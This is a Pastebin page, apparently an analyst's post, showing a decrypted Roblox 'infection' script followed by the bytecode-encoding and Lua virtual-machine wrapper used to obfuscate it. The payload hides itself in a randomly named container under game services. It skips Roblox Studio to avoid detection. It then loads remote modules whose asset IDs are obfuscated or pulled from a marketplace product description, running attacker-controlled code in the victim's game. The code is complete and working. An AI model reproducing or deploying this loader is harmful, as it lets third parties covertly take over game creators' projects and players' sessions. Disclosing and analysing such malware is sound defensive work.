Advertisement
christbru

Decrypted Infection Script

Dec 24th, 2018
538
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 17.33 KB | None | 0 0
  1. local source = function()game:WaitForChild("Workspace")
  2. game.ChildAdded:connect(function(p) end)
  3.  
  4. local rndname = {"¿", "Ì", "•", "Ì¿", "Ì¿•"}
  5. mrand = {}
  6. bphide = Instance.new("Backpack", game:GetService("InsertService"))
  7. bphide.Name = math.random(3, 5) .. rndname[math.random(#rndname)] .. math.random(1, 30000) .. rndname[math.random(#rndname)] .. rndname[math.random(#rndname)] .. rndname[math.random(#rndname)]
  8. scrip = Instance.new("Script", bphide)
  9. scripobfrequire = math.random(1, 400000)
  10. scriptreqcode = 7.0493265740554e+18 --(Christbru01) He hides the ID here but it resolves to 2655056793 at runtime.
  11. scriptreqcode = (scriptreqcode + scripobfrequire) ^ 2
  12. scrip.Source = "spawn(function()game:WaitForChild("ServerScriptService")if game:GetService("Workspace").Terrain:FindFirstChild('CallF')then return end;if game:GetService('RunService'):IsStudio()then return end;pcall(function()require(math.sqrt(math.sqrt(" .. scriptreqcode .. ") - " .. scripobfrequire .. ")).load(game.PlaceId)end)end)"
  13. scrip.Disabled = false
  14. scrip.Name = math.random(3, 5) .. rndname[math.random(#rndname)] .. math.random(1, 30000) .. rndname[math.random(#rndname)] .. rndname[math.random(#rndname)] .. rndname[math.random(#rndname)]
  15.  
  16. extr = Instance.new("Script", bphide)
  17. extr.Source = "marketplaceService = game:GetService('MarketplaceService') productInfo = marketplaceService:GetProductInfo(2655062037) modulefunc = productInfo.Description modulefunc = tonumber(string.match(modulefunc, '%d+')) require(modulefunc)[tostring(productInfo.Name)](game.PlaceId)"
  18. extr.Disabled = false
  19. extr.Name = math.random(3, 5) .. rndname[math.random(#rndname)] .. math.random(1, 30000) .. rndname[math.random(#rndname)] .. rndname[math.random(#rndname)] .. rndname[math.random(#rndname)]
  20.  
  21. pcall(function()
  22.     bphide.Parent = game["CSGDictionaryService"]
  23. end)end
  24. -- by NotAshley
  25.  
  26. -- thanks to MrNicNac for the original encryption method, and and NecroBumpist for the VM
  27.  
  28. local MasterString = ""
  29. local function Log(str)
  30.     MasterString = MasterString..""..str
  31. end
  32. local encrypt = function(str)
  33.         local Return = "local data = {"
  34.         local LengthDiv = 120
  35.         for i = 1, str:len() do
  36.             if i == str:len() then
  37.                 Return = Return .. "'\\" .. str:sub(i,i):byte() .. "'"
  38.                 if Return:len() > LengthDiv then
  39.                     Log(Return)
  40.                     Return = ""
  41.                 end
  42.             else
  43.                 Return = Return .. "'\\" .. str:sub(i,i):byte() .. "',"
  44.                 if Return:len() > LengthDiv then
  45.                     Log(Return)
  46.                     Return = ""
  47.                 end
  48.             end
  49.         end
  50.         Return = Return .. "}\n"
  51.         Log(Return)
  52. end
  53. encrypt(string.dump(source))
  54. _G.Write_Event_Path_Fyre_Studios:Fire(MasterString..[[
  55. local lua_opcode_types = {
  56. "ABC",  "ABx", "ABC",  "ABC",
  57. "ABC",  "ABx", "ABC",  "ABx",
  58. "ABC",  "ABC", "ABC",  "ABC",
  59. "ABC",  "ABC", "ABC",  "ABC",
  60. "ABC",  "ABC", "ABC",  "ABC",
  61. "ABC",  "ABC", "AsBx", "ABC",
  62. "ABC",  "ABC", "ABC",  "ABC",
  63. "ABC",  "ABC", "ABC",  "AsBx",
  64. "AsBx", "ABC", "ABC", "ABC",
  65. "ABx",  "ABC",
  66. }
  67. local lua_opcode_names = {
  68. "MOVE",     "LOADK",     "LOADBOOL", "LOADNIL",
  69. "GETUPVAL", "GETGLOBAL", "GETTABLE", "SETGLOBAL",
  70. "SETUPVAL", "SETTABLE",  "NEWTABLE", "SELF",
  71. "ADD",      "SUB",       "MUL",      "DIV",
  72. "MOD",      "POW",       "UNM",      "NOT",
  73. "LEN",      "CONCAT",    "JMP",      "EQ",
  74. "LT",       "LE",        "TEST",     "TESTSET",
  75. "CALL",     "TAILCALL",  "RETURN",   "FORLOOP",
  76. "FORPREP",  "TFORLOOP",  "SETLIST",  "CLOSE",
  77. "CLOSURE",  "VARARG"
  78. };
  79. local function get_bits(input, n, n2)
  80. if n2 then
  81. local total = 0
  82. local digitn = 0
  83. for i = n, n2 do
  84. total = total + 2^digitn*get_bits(input, i)
  85. digitn = digitn + 1
  86. end
  87. return total
  88. else
  89. local pn = 2^(n-1)
  90. return (input % (pn + pn) >= pn) and 1 or 0
  91. end
  92. end
  93. local function decode_bytecode(bytecode)
  94. local index = 1
  95. local big_endian = false
  96. local int_size;
  97. local size_t;
  98. local get_int, get_size_t;
  99. local get_int8, get_int32, get_int64, get_float64, get_string;
  100. do
  101. function get_int8()
  102. local a = bytecode:byte(index, index);
  103. index = index + 1
  104. return a
  105. end
  106. function get_int32()
  107. local a, b, c, d = bytecode:byte(index, index + 3);
  108. index = index + 4;
  109. return d*16777216 + c*65536 + b*256 + a
  110. end
  111. function get_int64()
  112. local a = get_int32();
  113. local b = get_int32();
  114. return b*4294967296 + a;
  115. end
  116. function get_float64()
  117. local a = get_int32()
  118. local b = get_int32()
  119. return (-2*get_bits(b, 32)+1)*(2^(get_bits(b, 21, 31)-1023))*
  120. ((get_bits(b, 1, 20)*(2^32) + a)/(2^52)+1)
  121. end
  122. function get_string(len)
  123. local str;
  124. if len then
  125. str = bytecode:sub(index, index + len - 1);
  126. index = index + len;
  127. else
  128. len = get_size_t();
  129. if len == 0 then return; end
  130. str = bytecode:sub(index, index + len - 1);
  131. index = index + len;
  132. end
  133. return str;
  134. end
  135. end
  136. local function decode_chunk()
  137. local chunk;
  138. local instructions = {};
  139. local constants    = {};
  140. local prototypes   = {};
  141. local debug = {
  142. lines = {};
  143. };
  144. chunk = {
  145. instructions = instructions;
  146. constants    = constants;
  147. prototypes   = prototypes;
  148. debug = debug;
  149. };
  150. local num;
  151. chunk.name       = get_string();
  152. chunk.first_line = get_int();
  153. chunk.last_line  = get_int();
  154. if chunk.name then chunk.name = chunk.name:sub(1, -2); end
  155. chunk.upvalues  = get_int8();
  156. chunk.arguments = get_int8();
  157. chunk.varg      = get_int8();
  158. chunk.stack     = get_int8();
  159. do
  160. num = get_int();
  161. for i = 1, num do
  162. local instruction = {
  163. };
  164. local data   = get_int32();
  165. local opcode = get_bits(data, 1, 6);
  166. local type   = lua_opcode_types[opcode + 1];
  167. instruction.opcode = opcode;
  168. instruction.type   = type;
  169. instruction.A = get_bits(data, 7, 14);
  170. if type == "ABC" then
  171. instruction.B = get_bits(data, 24, 32);
  172. instruction.C = get_bits(data, 15, 23);
  173. elseif type == "ABx" then
  174. instruction.Bx = get_bits(data, 15, 32);
  175. elseif type == "AsBx" then
  176. instruction.sBx = get_bits(data, 15, 32) - 131071;
  177. end
  178. instructions[i] = instruction;
  179. end
  180. end
  181. do
  182. num = get_int();
  183. for i = 1, num do
  184. local constant = {
  185. };
  186. local type = get_int8();
  187. constant.type = type;
  188. if type == 1 then
  189. constant.data = (get_int8() ~= 0);
  190. elseif type == 3 then
  191. constant.data = get_float64();
  192. elseif type == 4 then
  193. constant.data = get_string():sub(1, -2);
  194. end
  195. constants[i-1] = constant;
  196. end
  197. end
  198. do
  199. num = get_int();
  200. for i = 1, num do
  201. prototypes[i-1] = decode_chunk();
  202. end
  203. end
  204. do
  205. local data = debug.lines
  206. num = get_int();
  207. for i = 1, num do
  208. data[i] = get_int32();
  209. end
  210. num = get_int();
  211. for i = 1, num do
  212. get_string():sub(1, -2);
  213. get_int32();
  214. get_int32();
  215. end
  216. num = get_int();
  217. for i = 1, num do
  218. get_string();
  219. end
  220. end
  221. return chunk;
  222. end
  223. do
  224. assert(get_string(4) == "\27Lua", "Lua bytecode expected.");
  225. assert(get_int8() == 0x51, "Only Lua 5.1 is supported.");
  226. get_int8();
  227. big_endian = (get_int8() == 0);
  228. int_size = get_int8();
  229. size_t   = get_int8();
  230. if int_size == 4 then
  231. get_int = get_int32;
  232. elseif int_size == 8 then
  233. get_int = get_int64;
  234. else
  235. error("Unsupported bytecode target platform");
  236. end
  237. if size_t == 4 then
  238. get_size_t = get_int32;
  239. elseif size_t == 8 then
  240. get_size_t = get_int64;
  241. else
  242. error("Unsupported bytecode target platform");
  243. end
  244. assert(get_string(3) == "\4\8\0",
  245. "Unsupported bytecode target platform");
  246. end
  247. return decode_chunk();
  248. end
  249. local function handle_return(...)
  250. local c = select("#", ...)
  251. local t = {...}
  252. return c, t
  253. end
  254. local function create_wrapper(cache, upvalues)
  255. local instructions = cache.instructions;
  256. local constants    = cache.constants;
  257. local prototypes   = cache.prototypes;
  258.  
  259. local stack, top
  260. local environment
  261. local IP = 1;
  262. local vararg, vararg_size
  263.  
  264. local opcode_funcs = {
  265. [0]  = function(instruction)
  266. stack[instruction.A] = stack[instruction.B];
  267. end,
  268. [1]  = function(instruction)
  269. stack[instruction.A] = constants[instruction.Bx].data;
  270. end,
  271. [2]  = function(instruction)
  272. stack[instruction.A] = instruction.B ~= 0
  273. if instruction.C ~= 0 then
  274. IP = IP + 1
  275. end
  276. end,
  277. [3]  = function(instruction)
  278. local stack = stack
  279. for i = instruction.A, instruction.B do
  280. stack[i] = nil
  281. end
  282. end,
  283. [4] = function(instruction)
  284. stack[instruction.A] = upvalues[instruction.B]
  285. end,
  286. [5]  = function(instruction)
  287. local key = constants[instruction.Bx].data;
  288. stack[instruction.A] = environment[key];
  289. end,
  290. [6]  = function(instruction)
  291. local C = instruction.C
  292. local stack = stack
  293. C = C > 255 and constants[C-256].data or stack[C]
  294. stack[instruction.A] = stack[instruction.B][C];
  295. end,
  296. [7]  = function(instruction)
  297. local key = constants[instruction.Bx].data;
  298. environment[key] = stack[instruction.A];
  299. end,
  300. [8] = function (instruction)
  301. upvalues[instruction.B] = stack[instruction.A]
  302. end,
  303. [9] = function (instruction)
  304. local B = instruction.B;
  305. local C = instruction.C;
  306. local stack, constants = stack, constants;
  307. B = B > 255 and constants[B-256].data or stack[B];
  308. C = C > 255 and constants[C-256].data or stack[C];
  309. stack[instruction.A][B] = C
  310. end,
  311. [10] = function (instruction)
  312. stack[instruction.A] = {}
  313. end,
  314. [11] = function (instruction)
  315. local A = instruction.A
  316. local B = instruction.B
  317. local C = instruction.C
  318. local stack = stack
  319. B = stack[B]
  320. C = C > 255 and constants[C-256].data or stack[C]
  321. stack[A+1] = B
  322. stack[A]   = B[C]
  323. end,
  324. [12] = function(instruction)
  325. local B = instruction.B;
  326. local C = instruction.C;
  327. local stack, constants = stack, constants;
  328. B = B > 255 and constants[B-256].data or stack[B];
  329. C = C > 255 and constants[C-256].data or stack[C];
  330. stack[instruction.A] = B+C;
  331. end,
  332. [13] = function(instruction)
  333. local B = instruction.B;
  334. local C = instruction.C;
  335. local stack, constants = stack, constants;
  336. B = B > 255 and constants[B-256].data or stack[B];
  337. C = C > 255 and constants[C-256].data or stack[C];
  338. stack[instruction.A] = B - C;  
  339. end,
  340. [14] = function(instruction)
  341. local B = instruction.B;
  342. local C = instruction.C;
  343. local stack, constants = stack, constants;
  344. B = B > 255 and constants[B-256].data or stack[B];
  345. C = C > 255 and constants[C-256].data or stack[C];
  346. stack[instruction.A] = B * C;
  347. end,
  348. [15] = function(instruction)
  349. local B = instruction.B;
  350. local C = instruction.C;
  351. local stack, constants = stack, constants;
  352. B = B > 255 and constants[B-256].data or stack[B];
  353. C = C > 255 and constants[C-256].data or stack[C];
  354. stack[instruction.A] = B / C;
  355. end,
  356. [16] = function(instruction)
  357. local B = instruction.B;
  358. local C = instruction.C;
  359. local stack, constants = stack, constants;
  360. B = B > 255 and constants[B-256].data or stack[B];
  361. C = C > 255 and constants[C-256].data or stack[C];
  362. stack[instruction.A] = B % C;      
  363. end,
  364. [17] = function(instruction)
  365. local B = instruction.B;
  366. local C = instruction.C;
  367. local stack, constants = stack, constants;
  368. B = B > 255 and constants[B-256].data or stack[B];
  369. C = C > 255 and constants[C-256].data or stack[C];
  370. stack[instruction.A] = B ^ C;      
  371. end,
  372. [18] = function(instruction)
  373. stack[instruction.A] = -stack[instruction.B]
  374. end,
  375. [19] = function(instruction)
  376. stack[instruction.A] = not stack[instruction.B]
  377. end,
  378. [20] = function(instruction)
  379. stack[instruction.A] = #stack[instruction.B]
  380. end,
  381. [21] = function(instruction)
  382. local B = instruction.B
  383. local result = stack[B]
  384. for i = B+1, instruction.C do
  385. result = result .. stack[i]
  386. end
  387. stack[instruction.A] = result
  388. end,
  389. [22] = function(instruction)
  390. IP = IP + instruction.sBx
  391. end,
  392. [23] = function(instruction)
  393. local A = instruction.A
  394. local B = instruction.B
  395. local C = instruction.C
  396. local stack, constants = stack, constants
  397. A = A ~= 0
  398. B = B > 255 and constants[B-256].data or stack[B]
  399. C = C > 255 and constants[C-256].data or stack[C]
  400. if (B == C) ~= A then
  401. IP = IP + 1
  402. end
  403. end,
  404. [24] = function(instruction)
  405. local A = instruction.A
  406. local B = instruction.B
  407. local C = instruction.C
  408. local stack, constants = stack, constants
  409. A = A ~= 0
  410. B = B > 255 and constants[B-256].data or stack[B]
  411. C = C > 255 and constants[C-256].data or stack[C]
  412. if (B < C) ~= A then
  413. IP = IP + 1
  414. end    
  415. end,
  416. [25] = function(instruction)
  417. local A = instruction.A
  418. local B = instruction.B
  419. local C = instruction.C
  420. local stack, constants = stack, constants
  421. A = A ~= 0
  422. B = B > 255 and constants[B-256].data or stack[B]
  423. C = C > 255 and constants[C-256].data or stack[C]
  424. if (B <= C) ~= A then
  425. IP = IP + 1
  426. end    
  427. end,
  428. [26] = function(instruction)
  429. if stack[instruction.A] == (instruction.C ~= 0) then
  430. IP = IP + 1
  431. end
  432. end,
  433. [27] = function(instruction)
  434. local stack = stack
  435. local B = stack[instruction.B]
  436. if B == (instruction.C ~= 0) then
  437. IP = IP + 1
  438. else
  439. stack[instruction.A] = B
  440. end
  441. end,
  442. [28] = function(instruction)
  443. local A = instruction.A;
  444. local B = instruction.B;
  445. local C = instruction.C;
  446. local stack = stack;
  447. local args, results;
  448. local limit, loop
  449. args = {};
  450. if B ~= 1 then
  451. if B ~= 0 then
  452. limit = A+B-1;
  453. else
  454. limit = top
  455. end
  456. loop = 0
  457. for i = A+1, limit do
  458. loop = loop + 1
  459. args[loop] = stack[i];
  460. end
  461. limit, results = handle_return(stack[A](unpack(args, 1, limit-A)))
  462. else
  463. limit, results = handle_return(stack[A]())
  464. end
  465. top = A - 1
  466. if C ~= 1 then
  467. if C ~= 0 then
  468. limit = A+C-2;
  469. else
  470. limit = limit+A
  471. end
  472. loop = 0;
  473. for i = A, limit do
  474. loop = loop + 1;
  475. stack[i] = results[loop];
  476. end
  477. end
  478. end,
  479. [29] = function (instruction)
  480. local A = instruction.A;
  481. local B = instruction.B;
  482. local C = instruction.C;
  483. local stack = stack;
  484. local args, results;
  485. local top, limit, loop = top
  486. args = {};
  487. if B ~= 1 then
  488. if B ~= 0 then
  489. limit = A+B-1;
  490. else
  491. limit = top
  492. end
  493. loop = 0
  494. for i = A+1, limit do
  495. loop = loop + 1
  496. args[#args+1] = stack[i];
  497. end
  498. results = {stack[A](unpack(args, 1, limit-A))};
  499. else
  500. results = {stack[A]()};
  501. end
  502. return true, results
  503. end,
  504. [30] = function(instruction)
  505. local A = instruction.A;
  506. local B = instruction.B;
  507. local stack = stack;
  508. local limit;
  509. local loop, output;
  510. if B == 1 then
  511. return true;
  512. end
  513. if B == 0 then
  514. limit = top
  515. else
  516. limit = A + B - 2;
  517. end
  518. output = {};
  519. local loop = 0
  520. for i = A, limit do
  521. loop = loop + 1
  522. output[loop] = stack[i];
  523. end
  524. return true, output;
  525. end,
  526. [31] = function(instruction)
  527. local A = instruction.A
  528. local stack = stack
  529. local step = stack[A+2]
  530. local index = stack[A] + step
  531. stack[A] = index
  532. if step > 0 then
  533. if index <= stack[A+1] then
  534. IP = IP + instruction.sBx
  535. stack[A+3] = index
  536. end
  537. else
  538. if index >= stack[A+1] then
  539. IP = IP + instruction.sBx
  540. stack[A+3] = index
  541. end
  542. end
  543. end,
  544. [32] = function(instruction)
  545. local A = instruction.A
  546. local stack = stack
  547. stack[A] = stack[A] - stack[A+2]
  548. IP = IP + instruction.sBx
  549. end,
  550. [33] = function(instruction)
  551. local A = instruction.A
  552. local B = instruction.B
  553. local C = instruction.C
  554. local stack = stack
  555. local offset = A+2
  556. local result = {stack[A](stack[A+1], stack[A+2])}
  557. for i = 1, C do
  558. stack[offset+i] = result[i]
  559. end
  560. if stack[A+3] ~= nil then
  561. stack[A+2] = stack[A+3]
  562. else
  563. IP = IP + 1
  564. end
  565. end,
  566. [34] = function(instruction)
  567. local A = instruction.A
  568. local B = instruction.B
  569. local C = instruction.C
  570. local stack = stack
  571. if C == 0 then
  572. error("NYI: extended SETLIST")
  573. else
  574. local offset = (C - 1) * 50
  575. local t = stack[A]
  576. if B == 0 then
  577. B = top
  578. end
  579. for i = 1, B do
  580. t[offset+i] = stack[A+i]   
  581. end            
  582. end
  583. end,
  584. [35] = function(instruction)
  585. io.stderr:write("NYI: CLOSE")
  586. io.stderr:flush()
  587. end,
  588. [36] = function(instruction)
  589. local proto = prototypes[instruction.Bx]
  590. local instructions = instructions
  591. local stack = stack
  592. local indices = {}
  593. local new_upvals = setmetatable({},
  594. {
  595. __index = function(t, k)
  596. local upval = indices[k]
  597. return upval.segment[upval.offset]
  598. end,
  599. __newindex = function(t, k, v)
  600. local upval = indices[k]
  601. upval.segment[upval.offset] = v
  602. end
  603. }
  604. )
  605. for i = 1, proto.upvalues do
  606. local movement = instructions[IP]
  607. if movement.opcode == 0 then
  608. indices[i-1] = {segment = stack, offset = movement.B}
  609. elseif instructions[IP].opcode == 4 then
  610. indices[i-1] = {segment = upvalues, offset = movement.B}
  611. end
  612. IP = IP + 1
  613. end
  614. local _, func = create_wrapper(proto, new_upvals)
  615. stack[instruction.A] = func
  616. end,
  617. [37] = function(instruction)
  618. local A = instruction.A
  619. local B = instruction.B
  620. local stack, vararg = stack, vararg
  621.  
  622. for i = A, A + (B > 0 and B - 1 or vararg_size) do
  623. stack[i] = vararg[i - A]
  624. end
  625. end,
  626. }
  627. local function loop()
  628. local instructions = instructions
  629. local instruction, a, b
  630. while true do
  631. instruction = instructions[IP];
  632. IP = IP + 1
  633. a, b = opcode_funcs[instruction.opcode](instruction);
  634. if a then
  635. return b;
  636. end
  637. end
  638. end
  639. local debugging = {
  640. get_stack = function()
  641. return stack;
  642. end;
  643. get_IP = function()
  644. return IP;
  645. end
  646. };
  647. local function func(...)
  648. local local_stack = {};
  649. local ghost_stack = {};
  650. top = -1
  651. stack = setmetatable(local_stack, {
  652. __index = ghost_stack;
  653. __newindex = function(t, k, v)
  654. if k > top and v then
  655. top = k
  656. end
  657. ghost_stack[k] = v
  658. end;
  659. })
  660. local args = {...};
  661. vararg = {}
  662. vararg_size = select("#", ...) - 1
  663. for i = 0, vararg_size do
  664. local_stack[i] = args[i+1];
  665. vararg[i] = args[i+1]
  666. end
  667. environment = getfenv();
  668. IP = 1;
  669. local thread = coroutine.create(loop)
  670. local a, b = coroutine.resume(thread)
  671. if a then
  672. if b then
  673. return unpack(b);
  674. end
  675. return;
  676. else
  677. local name = cache.name;
  678. local line = cache.debug.lines[IP];
  679. local err  = b:gsub("(.-:)", "");
  680. local output = "";
  681. output = output .. (name and name .. ":" or "");
  682. output = output .. (line and line .. ":" or "");
  683. output = output .. b
  684. error(output, 0);
  685. end
  686. end
  687. return debugging, func;
  688. end
  689. local VM = {
  690. load_bytecode = function(bytecode)
  691. local cache = decode_bytecode(bytecode);
  692. local _, func = create_wrapper(cache);
  693. return func;
  694. end;
  695. utils = {
  696. decode_bytecode = decode_bytecode;
  697. create_wrapper = create_wrapper;
  698. debug_bytecode = function(bytecode)
  699. local cache = decode_bytecode(bytecode)
  700. return create_wrapper(cache);
  701. end;
  702. };
  703. }
  704. ]].."VM.load_bytecode(table.concat(data, [[]]))()")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement